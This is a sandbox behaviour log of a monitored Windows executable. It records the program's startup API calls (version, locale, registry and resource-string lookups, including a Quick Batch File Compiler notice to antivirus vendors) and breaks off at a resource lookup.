# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 03.01.2021 13:35:43.883 Process: id = "1" image_name = "tr0mj09grmwhpohs.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr0mj09grmwhpohs.exe" page_root = "0x4a97d000" os_pid = "0xbfc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x454" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0xa38 [0036.239] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0036.240] SetThreadLocale (Locale=0x400) returned 1 [0036.252] GetVersion () returned 0x1db10106 [0036.253] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0036.253] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadPreferredUILanguages") returned 0x76dc47a1 [0036.253] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0036.253] GetProcAddress (hModule=0x76d30000, lpProcName="SetThreadPreferredUILanguages") returned 0x76dd79e5 [0036.253] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0036.253] GetProcAddress (hModule=0x76d30000, lpProcName="GetThreadUILanguage") returned 0x76d6cf14 [0036.253] GetSystemInfo (in: lpSystemInfo=0x18fe84 | out: lpSystemInfo=0x18fe84*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0036.253] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe\" " [0036.253] GetStartupInfoW (in: lpStartupInfo=0x18fe60 | out: lpStartupInfo=0x18fe60*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4, hStdOutput=0x200202, hStdError=0x1f80)) [0036.253] GetACP () returned 0x4e4 [0036.253] GetCurrentThreadId () returned 0xa38 [0036.253] GetVersion () returned 0x1db10106 [0036.253] GetVersionExW (in: lpVersionInformation=0x18fd94*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x77c7019b, dwMinorVersion=0x77c702ea, dwBuildNumber=0x6129b0, dwPlatformId=0x18fdfa, szCSDVersion="") | out: lpVersionInformation=0x18fd94*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.253] GetModuleFileNameW (in: hModule=0x400000, lpFilename=0x18dc50, nSize=0x20a | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr0mj09grmwhpohs.exe")) returned 0x3a [0036.253] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18da3a, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr0mj09grmwhpohs.exe")) returned 0x3a [0036.254] VirtualAlloc (lpAddress=0x0, dwSize=0x13fff0, flAllocationType=0x1000, flProtect=0x4) returned 0x1ca0000 [0036.254] lstrcpynW (in: lpString1=0x18d7a6, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe", iMaxLength=261 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe" [0036.254] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d9b4 | out: phkResult=0x18d9b4*=0x0) returned 0x2 [0036.254] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d9b4 | out: phkResult=0x18d9b4*=0x0) returned 0x2 [0036.254] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d9b4 | out: phkResult=0x18d9b4*=0x0) returned 0x2 [0036.255] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d9b4 | out: phkResult=0x18d9b4*=0x0) returned 0x2 [0036.255] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d9b4 | out: phkResult=0x18d9b4*=0x0) returned 0x2 [0036.255] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18d9b4 | out: phkResult=0x18d9b4*=0x0) returned 0x2 [0036.255] GetUserDefaultUILanguage () returned 0x409 [0036.257] IsValidLocale (Locale=0x409, dwFlags=0x2) returned 1 [0036.257] GetThreadUILanguage () returned 0x180409 [0036.258] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d990, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d9b8 | out: pulNumLanguages=0x18d990, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x18d9b8) returned 1 [0036.258] GetThreadPreferredUILanguages (in: dwFlags=0x38, pulNumLanguages=0x18d990, pwszLanguagesBuffer=0x1dca680, pcchLanguagesBuffer=0x18d9b8 | out: pulNumLanguages=0x18d990, pwszLanguagesBuffer=0x1dca680, pcchLanguagesBuffer=0x18d9b8) returned 1 [0036.258] lstrcpynW (in: lpString1=0x422b96, lpString2="en-US,en,", iMaxLength=170 | out: lpString1="en-US,en,") returned="en-US,en," [0036.258] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.en-US", lpFindFileData=0x18d760 | out: lpFindFileData=0x18d760*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d69c, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d9c8, ftLastAccessTime.dwHighDateTime=0x10a, ftLastWriteTime.dwLowDateTime=0x1349b4, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x3000003, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x6244b0, cFileName="䡐b4쀀", cAlternateFileName="쀬Ǜ曔@7")) returned 0xffffffff [0036.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.en", lpFindFileData=0x18d760 | out: lpFindFileData=0x18d760*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d69c, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d9c8, ftLastAccessTime.dwHighDateTime=0x10a, ftLastWriteTime.dwLowDateTime=0x1349b4, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x3000003, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x6244b0, cFileName="䡐b4쀀", cAlternateFileName="跼ǝ曔@7")) returned 0xffffffff [0036.259] GetUserDefaultUILanguage () returned 0x409 [0036.259] GetLocaleInfoW (in: Locale=0x409, LCType=0x3, lpLCData=0x18d9d4, cchData=4 | out: lpLCData="ENU") returned 4 [0036.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.ENU", lpFindFileData=0x18d760 | out: lpFindFileData=0x18d760*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d69c, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d9c8, ftLastAccessTime.dwHighDateTime=0x10a, ftLastWriteTime.dwLowDateTime=0x1349b4, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x3000003, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x6244b0, cFileName="䡐b4쀀", cAlternateFileName="跼ǝ曔@7")) returned 0xffffffff [0036.259] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.EN", lpFindFileData=0x18d760 | out: lpFindFileData=0x18d760*(dwFileAttributes=0x1010004, ftCreationTime.dwLowDateTime=0x18d69c, ftCreationTime.dwHighDateTime=0x3, ftLastAccessTime.dwLowDateTime=0x18d9c8, ftLastAccessTime.dwHighDateTime=0x10a, ftLastWriteTime.dwLowDateTime=0x1349b4, ftLastWriteTime.dwHighDateTime=0xfffffffe, nFileSizeHigh=0x3000003, nFileSizeLow=0x8a, dwReserved0=0x0, dwReserved1=0x6244b0, cFileName="䡐b4쀀", cAlternateFileName="跼ǝ曔@7")) returned 0xffffffff [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd8, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Feature not implemented") returned 0x17 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd7, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Monitor support function not initialized") returned 0x28 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd6, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Object lock not owned") returned 0x15 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd5, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Exception in safecall method") returned 0x1c [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd4, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Interface not supported") returned 0x17 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd2, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="External exception %x") returned 0x15 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd3, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Assertion failed") returned 0x10 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffee, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Variant or safe array index out of bounds") returned 0x29 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffd1, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Invalid argument") returned 0x10 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Error creating variant or safe array") returned 0x24 [0036.260] LoadStringW (in: hInstance=0x400000, uID=0xffea, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Variant method calls not supported") returned 0x22 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffd0, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Invalid variant operation") returned 0x19 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffef, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Invalid variant type conversion") returned 0x1f [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffe3, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Stack overflow") returned 0xe [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffe4, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Control-C hit") returned 0xd [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffe5, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Privileged instruction") returned 0x16 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffe2, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Access violation") returned 0x10 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffe0, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Invalid class typecast") returned 0x16 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfffe, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Floating point underflow") returned 0x18 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfffd, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Floating point overflow") returned 0x17 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfffc, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Floating point division by zero") returned 0x1f [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfffb, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Invalid floating point operation") returned 0x20 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfffa, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Integer overflow") returned 0x10 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfff9, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Range check error") returned 0x11 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfff8, lpBuffer=0x18de84, cchBufferMax=4096 | out: lpBuffer="Division by zero") returned 0x10 [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xfff1, lpBuffer=0x18de7c, cchBufferMax=4096 | out: lpBuffer="Out of memory") returned 0xd [0036.261] LoadStringW (in: hInstance=0x400000, uID=0xffff, lpBuffer=0x18de7c, cchBufferMax=4096 | out: lpBuffer="Invalid pointer operation") returned 0x19 [0036.261] GetVersionExW (in: lpVersionInformation=0x18fd90*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fd90*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.261] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0036.262] LocalAlloc (uFlags=0x40, uBytes=0x8) returned 0x6244b0 [0036.262] GetProcAddress (hModule=0x76d30000, lpProcName="GetNativeSystemInfo") returned 0x76d510b5 [0036.262] GetNativeSystemInfo (in: lpSystemInfo=0x18fd6c | out: lpSystemInfo=0x18fd6c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xffa9, lpBuffer=0x18dd60, cchBufferMax=4096 | out: lpBuffer="Windows") returned 0x7 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xffac, lpBuffer=0x18dd60, cchBufferMax=4096 | out: lpBuffer="Windows 7") returned 0x9 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xfff7, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="Invalid numeric input") returned 0x15 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xfff6, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="Disk full") returned 0x9 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xfff5, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="Read beyond end of file") returned 0x17 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xfff4, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="File access denied") returned 0x12 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xfff3, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="Too many open files") returned 0x13 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xffa2, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="Invalid file name - %s") returned 0x16 [0036.262] LoadStringW (in: hInstance=0x400000, uID=0xffa3, lpBuffer=0x18de74, cchBufferMax=4096 | out: lpBuffer="The specified file was not found") returned 0x20 [0036.263] GetVersionExW (in: lpVersionInformation=0x18fd84*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x10000, dwMinorVersion=0x55040006, dwBuildNumber=0x11c, dwPlatformId=0x6, szCSDVersion="\x01") | out: lpVersionInformation=0x18fd84*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0036.263] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0036.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetDiskFreeSpaceExW", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.263] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GetDiskFreeSpaceExW", cchWideChar=19, lpMultiByteStr=0x1d980dc, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetDiskFreeSpaceExW", lpUsedDefaultChar=0x0) returned 19 [0036.263] GetProcAddress (hModule=0x76d30000, lpProcName="GetDiskFreeSpaceExW") returned 0x76d5d50f [0036.263] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fc5a, nSize=0x105 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Tr0MJ09gRmWhPOHs.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tr0mj09grmwhpohs.exe")) returned 0x3a [0036.263] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fe68 | out: phkResult=0x18fe68*=0x0) returned 0x2 [0036.263] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Embarcadero\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fe68 | out: phkResult=0x18fe68*=0x0) returned 0x2 [0036.263] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fe68 | out: phkResult=0x18fe68*=0x0) returned 0x2 [0036.263] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\CodeGear\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fe68 | out: phkResult=0x18fe68*=0x0) returned 0x2 [0036.263] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fe68 | out: phkResult=0x18fe68*=0x0) returned 0x2 [0036.263] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Borland\\Delphi\\Locales", ulOptions=0x0, samDesired=0xf0019, phkResult=0x18fe68 | out: phkResult=0x18fe68*=0x0) returned 0x2 [0036.264] GetThreadLocale () returned 0x409 [0036.264] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fd94 | out: lpCPInfo=0x18fd94) returned 1 [0036.264] GetThreadLocale () returned 0x409 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x100b, lpLCData=0x18fb88, cchData=256 | out: lpLCData="2") returned 2 [0036.264] GetThreadLocale () returned 0x409 [0036.264] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Sun") returned 4 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x30, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Sunday") returned 7 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Mon") returned 4 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x2a, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Monday") returned 7 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Tue") returned 4 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x2b, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Tuesday") returned 8 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Wed") returned 4 [0036.264] GetLocaleInfoW (in: Locale=0x409, LCType=0x2c, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Wednesday") returned 10 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Thu") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x2d, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Thursday") returned 9 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Fri") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x2e, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Friday") returned 7 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Sat") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fad4, cchData=256 | out: lpLCData="Saturday") returned 9 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x44, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Jan") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x38, lpLCData=0x18fad8, cchData=256 | out: lpLCData="January") returned 8 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x45, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Feb") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x39, lpLCData=0x18fad8, cchData=256 | out: lpLCData="February") returned 9 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x46, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Mar") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x3a, lpLCData=0x18fad8, cchData=256 | out: lpLCData="March") returned 6 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x47, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Apr") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x3b, lpLCData=0x18fad8, cchData=256 | out: lpLCData="April") returned 6 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x48, lpLCData=0x18fad8, cchData=256 | out: lpLCData="May") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x3c, lpLCData=0x18fad8, cchData=256 | out: lpLCData="May") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x49, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Jun") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x3d, lpLCData=0x18fad8, cchData=256 | out: lpLCData="June") returned 5 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x4a, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Jul") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x3e, lpLCData=0x18fad8, cchData=256 | out: lpLCData="July") returned 5 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x4b, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Aug") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x3f, lpLCData=0x18fad8, cchData=256 | out: lpLCData="August") returned 7 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x4c, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Sep") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x40, lpLCData=0x18fad8, cchData=256 | out: lpLCData="September") returned 10 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x4d, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Oct") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x41, lpLCData=0x18fad8, cchData=256 | out: lpLCData="October") returned 8 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x4e, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Nov") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x42, lpLCData=0x18fad8, cchData=256 | out: lpLCData="November") returned 9 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x4f, lpLCData=0x18fad8, cchData=256 | out: lpLCData="Dec") returned 4 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x43, lpLCData=0x18fad8, cchData=256 | out: lpLCData="December") returned 9 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x14, lpLCData=0x18fb28, cchData=256 | out: lpLCData="$") returned 2 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fb28, cchData=256 | out: lpLCData="0") returned 2 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fb28, cchData=256 | out: lpLCData="0") returned 2 [0036.265] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x18fd20, cchData=2 | out: lpLCData=",") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x18fd20, cchData=2 | out: lpLCData=".") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x19, lpLCData=0x18fb28, cchData=256 | out: lpLCData="2") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fd20, cchData=2 | out: lpLCData="/") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fae0, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fae0, cchData=256 | out: lpLCData="1") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x20, lpLCData=0x18fae0, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fae0, cchData=256 | out: lpLCData="1") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fd20, cchData=2 | out: lpLCData=":") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x28, lpLCData=0x18fb28, cchData=256 | out: lpLCData="AM") returned 3 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x29, lpLCData=0x18fb28, cchData=256 | out: lpLCData="PM") returned 3 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x25, lpLCData=0x18fb28, cchData=256 | out: lpLCData="0") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x18fb28, cchData=256 | out: lpLCData="0") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0x1005, lpLCData=0x18fb28, cchData=256 | out: lpLCData="0") returned 2 [0036.266] GetLocaleInfoW (in: Locale=0x409, LCType=0xc, lpLCData=0x18fd20, cchData=2 | out: lpLCData=",") returned 2 [0036.266] LoadStringW (in: hInstance=0x400000, uID=0xff93, lpBuffer=0x18dec8, cchBufferMax=4096 | out: lpBuffer="In order to correctly identify malware while avoiding false positives, antivirus manufacturers shalldetect the presence of Quick Batch File Compiler label, extract the user's script from the resourcesof the file, and analyze and extract a signature out of the user's script and not of the compiler runtime.\r\nQuick Batch File Compiler label: Resource Name: 99, Resource Type: 99, Label Text: \"QUICKBFC\".\r\nEncrypted user script: Resource Name: SCRIPT, Resource Type: RC DATA\r\nCompressed Embedded files: Resource Name: ITEMS, Resource Type: RC DATA\r\nPlease contact us for more details: support@abyssmedia.com") returned 0x25d [0036.266] FindResourceW 